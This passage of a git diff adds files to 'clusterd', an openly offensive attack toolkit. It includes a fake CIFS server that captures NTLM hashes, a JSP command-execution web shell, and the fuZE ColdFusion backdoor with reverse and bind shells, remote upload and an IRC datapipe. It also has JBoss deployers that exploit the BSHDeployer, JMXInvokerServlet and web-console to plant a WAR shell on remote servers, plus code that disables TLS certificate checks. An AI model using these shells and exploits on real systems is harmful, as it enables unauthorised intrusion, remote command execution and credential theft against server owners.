'\033[32m [%s] %s\033[0m' % (timestamp(), string) + elif level is LOG.SUCCESS: + print '\033[1;32m [%s] %s\033[0m' % (timestamp(), string) + elif level is LOG.ERROR: + print '\033[31m [%s] %s\033[0m' % (timestamp(), string) + elif level is LOG.DEBUG: + if state.isdebug: + print '\033[34m [%s] %s\033[0m' % (timestamp(), string) + elif level is LOG.UPDATE: + print '\033[33m [%s] %s\033[0m' % (timestamp(), string) + + if level is LOG.DEBUG and not state.isdebug: + return + + log(string) + + +def log(string): + """ Logs a string to the state log file. This currently does + not strip color coding, but eventually the strings coming into this + function should be raw strings without coloring, so TODO. + """ + + if state.flog: + with open(state.flog, 'a+') as f: + f.write('[%s] %s\n' % (timestamp(), string)) + + +def header(): + """ Dumps the application header, printed once at startup. + """ + + print '\033[32m\n\t\tclusterd/%s - clustered attack toolkit\033[0m' % version() + print '\t\t Supporting ' + ', '.join(x for x in state.supported_platforms) + print '' + + +def version(): + """ clusterd version string, which is printed in the header and will + be used when checking for updates. + """ + + return "0.1.1" + + +def timestamp(): + """ Returns a timestamp in the format year-month-day time + """ + + return '%s %s' % (date.today().isoformat(), + datetime.now().strftime('%I:%M%p')) + + +def local_address(): + """ Return local adapter's IP address. Only grabs the first + one for now. + TODO add a cli flag to set a specific adapter. + """ + + return getoutput("/sbin/ifconfig").split("\n")[1].split()[1][5:] + + +def build_request(args, kwargs): + """ This function is used for building requests' objects by adding + state-wide arguments, such as proxy settings, user agents, and more. + All requests are built using this function. + """ + + if state.proxy: + (proxy, server, port) = state.proxy.split(":") + connection = "{0}:{1}:{2}".format(proxy, server, port) + if state.proxy_auth: + (usr, pswd) = state.proxy_auth.split(":") + connection = "{0}://{1}:{2}@{3}:{4}".format(proxy, usr, pswd, server, port) + kwargs['proxies'] = dict({proxy:connection}) + + if state.random_agent: + ua = {'User-Agent' : state.random_agent} + if 'headers' in kwargs: + kwargs['headers'].update(ua) + else: + kwargs['headers'] = ua + + # enable https connections; it's kind of a transparent way of upgrading all + # existing URL strings, and may not be the best solution. TODO? + if state.ssl: + if "http" in args[0] and "https" not in args[0]: + args = (args[0].replace("http", "https", 1), ) + + if not 'timeout' in kwargs.keys(): + kwargs['timeout'] = state.timeout + + kwargs['verify'] = False + return (args, kwargs) + + +def requests_get(*args, **kwargs): + """ Generate a GET request + """ + + (args, kwargs) = build_request(args, kwargs) + Msg("Making GET request to {0} with arguments {1}".format(args[0], kwargs), + LOG.DEBUG) + return requests.get(*args, **kwargs) + + +def requests_post(*args, **kwargs): + """ Generate a POST request + """ + + (args, kwargs) = build_request(args, kwargs) + Msg("Making POST request to {0} with arguments {1}".format(args[0], kwargs), + LOG.DEBUG) + return requests.post(*args, **kwargs) + + +def requests_head(*args, **kwargs): + """ Generate a HEAD request + """ + + (args, kwargs) = build_request(args, kwargs) + Msg("Making HEAD request to {0} with args {1}".format(args[0], kwargs), + LOG.DEBUG) + return requests.head(*args, **kwargs) + + +def requests_put(*args, **kwargs): + """ Generate a PUT request + """ + + (args, kwargs) = build_request(args, kwargs) + Msg("Making PUT request to {0} with args {1}".format(args[0], kwargs), + LOG.DEBUG) + return requests.put(*args, **kwargs) + + +def capture_input(output_string): + """ Capture and return user input + """ + + try: + tmp = raw_input(' \033[1;37m[%s] %s > \033[0m' % (timestamp(), output_string)) + except KeyboardInterrupt: + return None + return tmp + + +def resolve_host(hostname): + """ Attempts to resolve a hostname into an IP address + """ + + try: + ip = gethostbyname(hostname) + except: + ip = None + return ip diff --git a/src/lib/__init__.py b/src/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/lib/cifstrap.py b/src/lib/cifstrap.py new file mode 100644 index 0000000..c04bc87 --- /dev/null +++ b/src/lib/cifstrap.py @@ -0,0 +1,186 @@ +import socket +import time +import struct +import sys +import threading +import datetime + +""" Bulk of this code is credited to bwall (@botnet_hunter) +This was modified to be quieter and to support NTLMv1 + +Simple CIFS service that obtains the hash and rejects the connection. + +Original: + https://github.com/bwall/BAMF/blob/master/IntegrationQueue/static/cifstrap.py +""" + + +class Handler(threading.Thread): + def __init__(self, conn, addr): + threading.Thread.__init__(self) + self.conn = conn + self.addr = addr + self.data = None + + def run(self): + try: + #get negotiate_protocol_request + negotiate_protocol_request = self.conn.recv(1024) + if not negotiate_protocol_request: + self.conn.close() + return + + dialect_location = 40 + dialect_index = 0 + dialect_name = "" + while dialect_location < negotiate_protocol_request.__len__(): + dialect_name = "" + while ord(negotiate_protocol_request[dialect_location]) != 0x00: + if ord(negotiate_protocol_request[dialect_location]) != 0x02: + dialect_name += negotiate_protocol_request[dialect_location] + dialect_location += 1 + if dialect_name == "NT LM 0.12": + break + dialect_index += 1 + dialect_location += 1 + + #netbios session service + negotiate_protocol_response = "\x00\x00\x00\x51" + + #SMB Header + #Server Component + negotiate_protocol_response += "\xff\x53\x4d\x42" + #SMB Command + negotiate_protocol_response += "\x72" + #NT Status + negotiate_protocol_response += "\x00\x00\x00\x00" + #Flags + negotiate_protocol_response += "\x88" + #Flags2 + negotiate_protocol_response += "\x01\xc0" + #Process ID High + negotiate_protocol_response += "\x00\x00" + #Signature + negotiate_protocol_response += "\x00\x00\x00\x00\x00\x00\x00\x00" + #Reserved + negotiate_protocol_response += "\x00\x00" + #Tree ID + negotiate_protocol_response += negotiate_protocol_request[28] + negotiate_protocol_request[29] + #Process ID + negotiate_protocol_response += negotiate_protocol_request[30] + negotiate_protocol_request[31] + #User ID + negotiate_protocol_response += negotiate_protocol_request[32] + negotiate_protocol_request[33] + #Multiplex ID + negotiate_protocol_response += negotiate_protocol_request[34] + negotiate_protocol_request[35] + + #Negotiate Protocol Response + #Word Count + negotiate_protocol_response += "\x11" + #Dialect Index + negotiate_protocol_response += chr(dialect_index) + "\x00" + #Security Mode + negotiate_protocol_response += "\x03" + #Max Mpx Count + negotiate_protocol_response += "\x02\x00" + #Max VCs + negotiate_protocol_response += "\x01\x00" + #Max Buffer Size + negotiate_protocol_response += "\x04\x11\x00\x00" + #Max Raw Buffer + negotiate_protocol_response += "\x00\x00\x01\x00" + #Session Key + negotiate_protocol_response += "\x00\x00\x00\x00" + #Capabilities + negotiate_protocol_response += "\xfd\xe3\x00\x00" + #System Time + negotiate_protocol_response += "\x00" * 8 + #UTC Offset in minutes + negotiate_protocol_response += "\x00\x00" + #Key Length + negotiate_protocol_response += "\x08" + #Byte Count + negotiate_protocol_response += "\x0c\x00" + #Encryption Key + negotiate_protocol_response += "\x11\x22\x33\x44\x55\x66\x77\x88" + #Primary Domain + negotiate_protocol_response += "\x00\x00" + #Server + negotiate_protocol_response += "\x00\x00" + + self.conn.sendall(negotiate_protocol_response) + for x in range(0, 2): + ntlmssp_request = self.conn.recv(1024) + if ntlmssp_request.__len__() < 89 + 32 + 8 + 16: + continue + + nt_len = struct.unpack(' 24: + # NTLMv2 + hmac = ''.join('%02x'%ord(ntlmssp_request[i]) for i in range(89, 89 + 16)) + header = ''.join('%02x'%ord(ntlmssp_request[i]) for i in range(89 + 16, 89 + 20)) + challenge = ''.join('%02x'%ord(ntlmssp_request[i]) for i in range(89 + 24, 89 + 32 + 8)) + tail = ''.join('%02x'%ord(ntlmssp_request[i]) for i in range(89 + 32 + 8, 89 + 32 + 8 + 16)) + + tindex = 89 + 32 + 8 + 16 + 1 + account = "" + while ord(ntlmssp_request[tindex]) != 0x00: + account += chr(ord(ntlmssp_request[tindex])) + tindex += 2 + + tindex += 2 + domain = "" + while ord(ntlmssp_request[tindex]) != 0x00: + domain += chr(ord(ntlmssp_request[tindex])) + tindex += 2 + + self.data = "{0}::{1}:1122334455667788:{2}:{3}00000000{4}{5}".format( + account, domain, hmac, header, challenge, tail) + + #netbios session service + ntlmssp_failed = "\x00\x00\x00\x23" + + #SMB Header + #Server Component + ntlmssp_failed += "\xff\x53\x4d\x42" + #SMB Command + ntlmssp_failed += "\x73" + #NT Status + ntlmssp_failed += "\x6d\x00\x00\xc0" + #Flags + ntlmssp_failed += "\x88" + #Flags2 + ntlmssp_failed += "\x01\xc8" + #Process ID Hight + ntlmssp_failed += "\x00\x00" + #Signature + ntlmssp_failed += "\x00\x00\x00\x00\x00\x00\x00\x00" + #Reserved + ntlmssp_failed += "\x00\x00" + #Tree ID + ntlmssp_failed += ntlmssp_request[28] + ntlmssp_request[29] + #Process ID + ntlmssp_failed += ntlmssp_request[30] + ntlmssp_request[31] + #User ID + ntlmssp_failed += ntlmssp_request[32] + ntlmssp_request[33] + #Multiplex ID + ntlmssp_failed += ntlmssp_request[34] + ntlmssp_request[35] + + #Negotiate Protocol Response + #Word Count + ntlmssp_failed += "\x00\x00\x00" + self.conn.sendall(ntlmssp_failed) + + self.conn.close() + + except Exception, e: + self.data = e diff --git a/src/lib/cmd.jsp b/src/lib/cmd.jsp new file mode 100644 index 0000000..f5c82d2 --- /dev/null +++ b/src/lib/cmd.jsp @@ -0,0 +1,33 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +%> + +Commands with JSP +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+    out.println("Command: " + request.getParameter("cmd") + "
"); + + Process p; + if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ + p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); + } + else{ + p = Runtime.getRuntime().exec(request.getParameter("cmd")); + } + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } +} +%> +
+ diff --git a/src/lib/cmd.war b/src/lib/cmd.war new file mode 100644 index 0000000..a531964 Binary files /dev/null and b/src/lib/cmd.war differ diff --git a/src/lib/coldfusion/README b/src/lib/coldfusion/README new file mode 100644 index 0000000..f128393 --- /dev/null +++ b/src/lib/coldfusion/README @@ -0,0 +1,4 @@ +coldfusion +========= + +fuze.cfml - Fuze CF shell version 1.2; full featured backdoor (default creds: god|default) diff --git a/src/lib/coldfusion/fuze.cfml b/src/lib/coldfusion/fuze.cfml new file mode 100644 index 0000000..857d5b2 --- /dev/null +++ b/src/lib/coldfusion/fuze.cfml @@ -0,0 +1,1004 @@ + + + + + + + + + + + + + + + + + + + + + + + + + +.:: ƒuZE Shell ::. + + + + + + + + + + + + + + + + + + + + +
+
+
Console
+
:: Execute command on server ::
+
+ value="#htmleditformat(Form.exec)#"> +
+ No execution time limit +

+
+
+
Edit
+
:: Edit file ::
+
+ File path | value="#htmleditformat(Form.EditFile)#"> + +

+
+
+
Reverse Shell
+
:: Reverse shell ::
+
+
value="#htmleditformat(Form.reverseip)#"> : + value="#htmleditformat(Form.reverseport)#"> +
+
+
+
+
Bindshell
+
:: Bindshell ::
+
+
[1024-65535] value="#htmleditformat(Form.bindport)#"> + + [Tips]
+
+
+
+
Functions
+
:: Functions ::
+
+
+
+
+
Decrypter
+
:: CF hash decrypter ::
+
+ B64 CF hash | value="#htmleditformat(Form.decrypt_hash)#"> + +
+
+
+
File Transfer
+
:: Upload/Download files on server ::
+
+ +
+
+
+ Path | value="#htmleditformat(Form.Download)#"> + +
+
+
+
Remote upload
+
:: Upload files from remote server ::
+
+ URL | value="#htmleditformat(Form.RUpload)#"> + +
+
+
+
Sql
+
:: Run SQL query ::
+
+ SQL query | value="#htmleditformat(Form.exec_sql)#">
+ Datasource | value="#htmleditformat(Form.datasource)#">
+ User : Pass | value="#htmleditformat(Form.db_username)#">value="#htmleditformat(Form.db_password)#">
+ +
+
+
+
Scan
+
:: Scan LAN for CF ::
+
+
+
+
+
+
Registry
+
:: Registry ::
+
+ + +
Path | #htmleditformat(Form.regpath)#HKEY_LOCAL_MACHINE\" />
Key | value="#htmleditformat(Form.Entry)#" />
New key | value="#htmleditformat(Form.newentry)#" />
+ +
+ +
+
+
+
AutoPWN
+
:: AutoPWN remote CF ::
+
+ Target | http://value="#htmleditformat(Form.target_host)#">/ + +
+
+
+
Nuke
+
:: Nuke shell ::
+
+
+
+
+
+
IRC
+
:: IRC datapipe ::
+ +
+
+ + + + + + + +
IP:value="#htmleditformat(Form.ircip)#"value="127.0.0.1">
Port:value="#htmleditformat(Form.ircport)#"value="6667">
Nick name:value="#htmleditformat(Form.ircnick)#"value="fuZE">
User name:value="#htmleditformat(Form.ircuname)#"value="fuZE">
Real name:value="#htmleditformat(Form.ircrname)#"value="fuZE CF IRC Datapipe">
Channel:value="#htmleditformat(Form.ircchan)#"value="#fuZE">
+
+
+
+ + + + + + + + + +
ƒuZE Shell 1.2
#dateformat(now(),'mm-dd-yyyy')# #timeformat(now(),'HH:mm:ss')# Your IP: #cgi.remote_addr# [#cgi.remote_host#] Server IP: #cgi.local_addr# [#cgi.http_host#]
+
+
OS :
CF :
ID :
CWD :
Drive info :
+ +
#server.os.name# [#server.os.version#] #server.os.arch#
#server.coldfusion.productname# [#server.coldfusion.productlevel#] #server.coldfusion.productversion#
#so.getProperty("user.name")#
#getDirectoryFromPath(getCurrentTemplatePath())#
#this.DriveLetter# [#NumberFormat(round(evaluate(this.TotalSize/1024/1024/1024)))# GB +Removable +Fixed +Network +CDROM +RAMDisk +Unknown +] N/A
+
+
+ + + +
+ + + +
Executing 'cmd.exe /c #htmleditformat(Form.exec)#'
+ + +
Executing 'sh -c "#htmleditformat(REReplace(Form.exec,"""","'","ALL"))#"'
+ +
+ + +
Editing file '#htmleditformat(Form.EditFile)#'
+ + + + + + + +
+ +Save to | +
+ +
+ +
Saving file '#htmleditformat(Form.SaveFile)#'
+ + +
Binding shell to port #htmleditformat(Form.bindport)#
+ + +
Sending shell to #htmleditformat(Form.reverseip)#:#htmleditformat(Form.reverseport)#
+ + +
Function: '#htmleditformat(Form.function)#'
+ + +
Decrypting '#htmleditformat(Form.decrypt_hash)#'
+ + +
Uploading file to '#htmleditformat(getDirectoryFromPath(getCurrentTemplatePath()))#'
+ + + + + + + +File is not available + + + + +
Uploading file from '#htmleditformat(Form.RUpload)#'
+ + +
Executing '#htmleditformat(Form.exec_sql)#' in datasource '#htmleditformat(Form.datasource)#'
+ +#Form.exec_sql# + + + +
Scanning for CF instances over the LAN
+ + + + + + + + + + + + + + + +(#form.regpath#\#form.Entry# ) values is : #RegValue# + + + +(#form.regpath#\#form.Entry# ) old values is : #RegValue#
+ + +(#form.regpath#\#form.Entry# ) new values is : #form.newEntry# + +
+
+Error: A registry path must be defined +
+Error: #cfcatch.type# +
+ +
Attempting to AutoPWN [#htmleditformat(Form.target_host)#]
+ + + +[!] Error: #cfcatch.message# +[~] Results: +[*] Server Status: N/A +[*] Access obtained: N/A +[*] Shell location: N/A +[~] EOF +==================================================================================================== + + + +
Nuking shell
+ + +
Connecting to #htmleditformat(Form.ircip)#:#htmleditformat(Form.ircport)#
+ + +
Waiting for input
+ +
+
+ +
+
+ + +
XiX_ | ƒuZE | #loopTime#ms
+ +
+ + +
+ + + + + + + + + + + + + + + +
+ +
UserName + +
Password + +
+ +
+
+
+
+ + + + diff --git a/src/lib/jboss/bsh_deploy/_bshdeploy.bsh b/src/lib/jboss/bsh_deploy/_bshdeploy.bsh new file mode 100644 index 0000000..1cbcca0 --- /dev/null +++ b/src/lib/jboss/bsh_deploy/_bshdeploy.bsh @@ -0,0 +1,13 @@ +import java.io.FileOutputStream; +import sun.misc.BASE64Decoder; + +/* + +*/ +String war = "[[WDATA]]"; + +BASE64Decoder decoder = new BASE64Decoder(); +byte[] byteval = decoder.decodeBuffer(war); +FileOutputStream fs = new FileOutputStream("[[ARCH]]"); +fs.write(byteval); +fs.close(); diff --git a/src/lib/jboss/bsh_deploy/bshdeploy.java b/src/lib/jboss/bsh_deploy/bshdeploy.java new file mode 100644 index 0000000..56d3702 --- /dev/null +++ b/src/lib/jboss/bsh_deploy/bshdeploy.java @@ -0,0 +1,102 @@ +import java.net.URL; +import java.util.Scanner; +import java.io.File; +import java.util.Map; +import java.util.HashMap; + +// jboss +import javax.management.ObjectName; +import org.jboss.console.remote.Util; +import org.jboss.console.remote.RemoteMBeanAttributeInvocation; +import org.jboss.console.remote.RemoteMBeanInvocation; +import org.jboss.security.SecurityAssociation; +import org.jboss.security.SimplePrincipal; + +/* + This application is part of the clusterd attack framework. + + bshdeploy is a bean shell deployer written in java. This file takes + three arguments: + + [remote_url] [arch] [version] + + Where remote_url is the URL of the remote web-console invoker, arch is + the platform [windows|linux], and version is a major version number, either + 3 or 4. + + Optional arguments include username|password for authenticating to the remote + endpoint. +*/ + +public class bshdeploy { + + final static String BSH_DEPLOY = "bshdeploy.bsh"; + final static String WINDOWS_ARCH = "c:/windows/temp/cmd.war"; + final static String LINUX_ARCH = "/tmp/cmd.war"; + + private static String getArch(String arch){ + Map path = new HashMap(); + path.put("windows", WINDOWS_ARCH); + path.put("linux", LINUX_ARCH); + return path.get(arch); + } + + private static String getVerPath(int version){ + Map path = new HashMap(); + path.put(3, "jboss.scripts:service=BSHDeployer"); + path.put(4, "jboss.deployer:service=BSHDeployer"); + return path.get(version); + } + + private static String readBsh() throws Exception { + return new Scanner(new File(BSH_DEPLOY)).useDelimiter("\\A").next(); + } + + public static void main (String args[]) throws Exception { + + String remote_url = null; + String arch = null; + int version = 3; + + Object[] file_list; + ObjectName obj; + String[] method_sig; + String method; + RemoteMBeanInvocation rmi; + + // parse args + try { + remote_url = args[0]; + arch = getArch(args[1]); + version = Integer.parseInt(args[2]); + + if ( args.length > 3 && args[3] != "None" ){ + SecurityAssociation.setPrincipal(new SimplePrincipal(args[3])); + SecurityAssociation.setCredential(args[4]); + } + } catch(Exception e){ + System.out.println(e); + return; + } + + // build the invocation to deploy the BSH script stager + file_list = new Object[]{ readBsh(), String.format("file:%s", BSH_DEPLOY) }; + method_sig = new String[]{ "java.lang.String", "java.lang.String" }; + method = "createScriptDeployment"; + + obj = new ObjectName(getVerPath(version)); + + rmi = new RemoteMBeanInvocation(obj, method, file_list, method_sig); + Util.invoke(new URL(remote_url), rmi); + + // stager should be up, now deploy the WAR + file_list = new Object[]{ String.format("file:%s", arch) }; + method_sig = new String[]{ "java.lang.String" }; + method = "deploy"; + + obj = new ObjectName("jboss.system:service=MainDeployer"); + + rmi = new RemoteMBeanInvocation(obj, method, file_list, method_sig); + Util.invoke(new URL(remote_url), rmi); + } +} diff --git a/src/lib/jboss/bsh_deploy/bshdeploy.sh b/src/lib/jboss/bsh_deploy/bshdeploy.sh new file mode 100755 index 0000000..fa42276 --- /dev/null +++ b/src/lib/jboss/bsh_deploy/bshdeploy.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# + +# ensure we're compiled +if [ ! -f "bshdeploy.class" ]; then + ./buildbsh.sh +fi + +# invoke +java -cp .:../console-mgr-classes.jar:../jbossall-client.jar bshdeploy $1 $2 $3 $4 $5 diff --git a/src/lib/jboss/bsh_deploy/buildbsh.sh b/src/lib/jboss/bsh_deploy/buildbsh.sh new file mode 100755 index 0000000..9d212be --- /dev/null +++ b/src/lib/jboss/bsh_deploy/buildbsh.sh @@ -0,0 +1,8 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# +# This file builds the BSHDeploy deployer +# +javac -cp ..:../jbossall-client.jar:../console-mgr-classes.jar bshdeploy.java diff --git a/src/lib/jboss/console-mgr-classes.jar b/src/lib/jboss/console-mgr-classes.jar new file mode 100644 index 0000000..8cef1c5 Binary files /dev/null and b/src/lib/jboss/console-mgr-classes.jar differ diff --git a/src/lib/jboss/jbossall-client.jar b/src/lib/jboss/jbossall-client.jar new file mode 100644 index 0000000..3102d39 Binary files /dev/null and b/src/lib/jboss/jbossall-client.jar differ diff --git a/src/lib/jboss/jmxinvoke_deploy/TrustModifier.java b/src/lib/jboss/jmxinvoke_deploy/TrustModifier.java new file mode 100644 index 0000000..76a0e21 --- /dev/null +++ b/src/lib/jboss/jmxinvoke_deploy/TrustModifier.java @@ -0,0 +1,43 @@ +import java.net.*; +import javax.net.ssl.*; +import java.security.*; +import java.security.cert.*; + +public class TrustModifier { + private static final TrustingHostnameVerifier HOSTNAME_VERIFIER = new TrustingHostnameVerifier(); + private static SSLSocketFactory factory; + + public static void relaxHostChecking(HttpURLConnection connection) + throws Exception { + + if(connection instanceof HttpsURLConnection){ + HttpsURLConnection secureConnection = (HttpsURLConnection)connection; + SSLSocketFactory sslFactory = prepFactory(secureConnection); + secureConnection.setSSLSocketFactory(sslFactory); + secureConnection.setHostnameVerifier(HOSTNAME_VERIFIER); + } + } + + static synchronized SSLSocketFactory prepFactory(HttpsURLConnection secureConnection) + throws Exception { + + if(factory == null){ + SSLContext ctx = SSLContext.getInstance("TLS"); + ctx.init(null, new TrustManager[]{new AlwaysTrustManager() }, null); + factory = ctx.getSocketFactory(); + } + return factory; + } + + private static final class TrustingHostnameVerifier implements HostnameVerifier { + public boolean verify(String hostname, SSLSession session){ + return true; + } + } + + private static class AlwaysTrustManager implements X509TrustManager { + public void checkClientTrusted(X509Certificate[] arg0, String arg1){} + public void checkServerTrusted(X509Certificate[] arg0, String arg1){} + public X509Certificate[] getAcceptedIssuers() { return null; } + } +} diff --git a/src/lib/jboss/jmxinvoke_deploy/buildinvoke.sh b/src/lib/jboss/jmxinvoke_deploy/buildinvoke.sh new file mode 100755 index 0000000..9f494d9 --- /dev/null +++ b/src/lib/jboss/jmxinvoke_deploy/buildinvoke.sh @@ -0,0 +1,8 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# +# This file builds the JMXInvokerServlet deployer. +# +javac -cp ..:../jbossall-client.jar:../console-mgr-classes.jar invkdeploy.java TrustModifier.java diff --git a/src/lib/jboss/jmxinvoke_deploy/invkdeploy.java b/src/lib/jboss/jmxinvoke_deploy/invkdeploy.java new file mode 100644 index 0000000..25fac0a --- /dev/null +++ b/src/lib/jboss/jmxinvoke_deploy/invkdeploy.java @@ -0,0 +1,117 @@ +import java.net.URL; +import java.util.Map; +import java.util.HashMap; +import java.io.FileOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; + +// jboss +import org.jboss.invocation.InvocationException; +import org.jboss.invocation.MarshalledInvocation; +import org.jboss.invocation.MarshalledValue; +import org.jboss.mx.util.ObjectNameFactory; +import javax.management.ObjectName; + +/* + This application is part of the clusterd attack framework. + + invkdeploy is a modified copy of the invoker code taken from: + + http://breenmachine.blogspot.com/2013/09/jboss-jmxinvokerservlet-exploit.html + + This file takes three arguments: [version] [remote url] [local url], and is called + from deployer_utils/ + */ +public class invkdeploy{ + private static Map populateHashes(){ + Map versions = new HashMap(); + versions.put("3.2", 647347722); // tested against 3.2.7.GA + versions.put("4.0", 647347722); // tested against 4.0.5.GA + versions.put("4.2", 647347722); // tested against 4.2.3.GA + return versions; + } + + public static void main (String args[]) throws Exception { + + Map version_hash = populateHashes(); + + String version; + Integer hash; + String remote_url; + String local_url; + + Object[] file_list; + String save_location = "payload.out"; + + // parse cli + try { + version = (String)args[0]; + remote_url = args[1]; + local_url = args[2]; + + hash = version_hash.get(version); + if(hash == null){ + System.out.println("Version unsupported"); + return; + } + } + catch(Exception e){ + System.out.println(e); + return; + } + + MarshalledInvocation payload = new MarshalledInvocation(); + payload.setObjectName(version_hash.get(version)); + + Class c = Class.forName("javax.management.MBeanServerConnection"); + Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, + java.lang.String.class, + java.lang.Object[].class, + java.lang.String[].class); + payload.setMethod(method); + + file_list = new Object[]{ + new javax.management.ObjectName("jboss.system:service=MainDeployer"), + "deploy", + new String[]{ local_url }, + new String[]{ "java.lang.String" } + }; + payload.setArguments(file_list); + + FileOutputStream fileOut = new FileOutputStream(save_location); + ObjectOutputStream out = new ObjectOutputStream(fileOut); + out.writeObject(payload); + out.close(); + fileOut.close(); + + String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue"; + URL url = new URL(remote_url); + HttpURLConnection connection = (HttpURLConnection)url.openConnection(); + TrustModifier.relaxHostChecking(connection); + + connection.setDoOutput(true); + connection.setRequestMethod("POST"); + connection.setRequestProperty("Content-Type", type); + connection.setRequestProperty("Content-Length", "10000"); + + OutputStream os = connection.getOutputStream(); + new ObjectOutputStream(os).writeObject(payload); + + ObjectInputStream in = new ObjectInputStream(connection.getInputStream()); + Object obj = in.readObject(); + if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){ + MarshalledValue mv = (MarshalledValue)obj; + Object mvContent = mv.get(); + if(mvContent != null && mvContent.getClass().toString().equals( + "class org.jboss.invocation.InvocationException")){ + System.err.println("Invocation Exception"); + InvocationException ie = (InvocationException)mvContent; + System.out.println(ie.getMessage()); + ie.printStackTrace(); + } + } + } +} diff --git a/src/lib/jboss/jmxinvoke_deploy/invkdeploy.sh b/src/lib/jboss/jmxinvoke_deploy/invkdeploy.sh new file mode 100755 index 0000000..2da42ea --- /dev/null +++ b/src/lib/jboss/jmxinvoke_deploy/invkdeploy.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# + +# ensure we're compiled +if [ ! -f "invkdeploy.class" ]; then + ./buildinvoke.sh +fi + +# invoke +java -cp .:../console-mgr-classes.jar:../jbossall-client.jar invkdeploy $1 $2 $3 diff --git a/src/lib/jboss/jmxinvoke_deploy/payload.out b/src/lib/jboss/jmxinvoke_deploy/payload.out new file mode 100644 index 0000000..9f45e4c Binary files /dev/null and b/src/lib/jboss/jmxinvoke_deploy/payload.out differ diff --git a/src/lib/jboss/webconsole_deploy/buildwebc.sh b/src/lib/jboss/webconsole_deploy/buildwebc.sh new file mode 100755 index 0000000..37f5295 --- /dev/null +++ b/src/lib/jboss/webconsole_deploy/buildwebc.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# this file builds our web-console deployer. + +javac -cp ..:../jbossall-client.jar:../console-mgr-classes.jar webc_deploy.java diff --git a/src/lib/jboss/webconsole_deploy/webc_deploy.java b/src/lib/jboss/webconsole_deploy/webc_deploy.java new file mode 100644 index 0000000..a357b61 --- /dev/null +++ b/src/lib/jboss/webconsole_deploy/webc_deploy.java @@ -0,0 +1,66 @@ +import java.net.URL; + +// jboss +import javax.management.ObjectName; +import org.jboss.console.remote.Util; +import org.jboss.console.remote.RemoteMBeanAttributeInvocation; +import org.jboss.console.remote.RemoteMBeanInvocation; +import org.jboss.security.SecurityAssociation; +import org.jboss.security.SimplePrincipal; + +/* + This application is part of the clusterd attack framework. + + webc_deploy is a web-console/Invoker deployer written in Java. + + Calling convention: + + ./webc_deploy.sh [remote_url] [local_url] [username] [password] + + Where [remote_url] is the complete url to the invoker. + [local_url] is the local URL to the WAR to deploy. + [username] and [password] should be None if there is no auth required. + + Thanks to RedTeam Pentesting for tips on this. + + Requires Java 1.7.x + */ + +public class webc_deploy { + public static void main ( String args[] ) throws Exception { + + String remote_url; + String local_url; + + Object[] file_list; + ObjectName obj; + String[] method_sig; + String method; + RemoteMBeanInvocation rmi; + + // parse passed arguments + try { + remote_url = args[0]; + local_url = args[1]; + + if ( args.length > 2 && args[2] != "None"){ + SecurityAssociation.setPrincipal(new SimplePrincipal(args[2])); + SecurityAssociation.setCredential(args[3]); + } + } catch(Exception e){ + System.err.println(e); + return; + } + + // construct RMI object + file_list = new Object[]{ new URL(local_url) }; + method_sig = new String[]{ "java.net.URL" }; + method = "deploy"; + + obj = new ObjectName("jboss.system:service=MainDeployer"); + + // invoke + rmi = new RemoteMBeanInvocation(obj, method, file_list, method_sig); + Util.invoke(new URL(remote_url), rmi); + } +} diff --git a/src/lib/jboss/webconsole_deploy/webc_deploy.sh b/src/lib/jboss/webconsole_deploy/webc_deploy.sh new file mode 100755 index 0000000..fc0d8c0 --- /dev/null +++ b/src/lib/jboss/webconsole_deploy/webc_deploy.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework. +# + +# ensure we're compiled +if [ ! -f "webc_deploy.class" ]; then + ./buildwebc.sh +fi + +# invoke +java -cp .:../console-mgr-classes.jar:../jbossall-client.jar webc_deploy $1 $2 $3 $4 diff --git a/src/lib/user-agents.txt b/src/lib/user-agents.txt new file mode 100644 index 0000000..b36ddc2 --- /dev/null +++ b/src/lib/user-agents.txt @@ -0,0 +1,2078 @@ +# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# See the file 'doc/COPYING' for copying permission + +Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) +Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) +Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) +Mozilla/4.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 +Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 +Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70 +Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 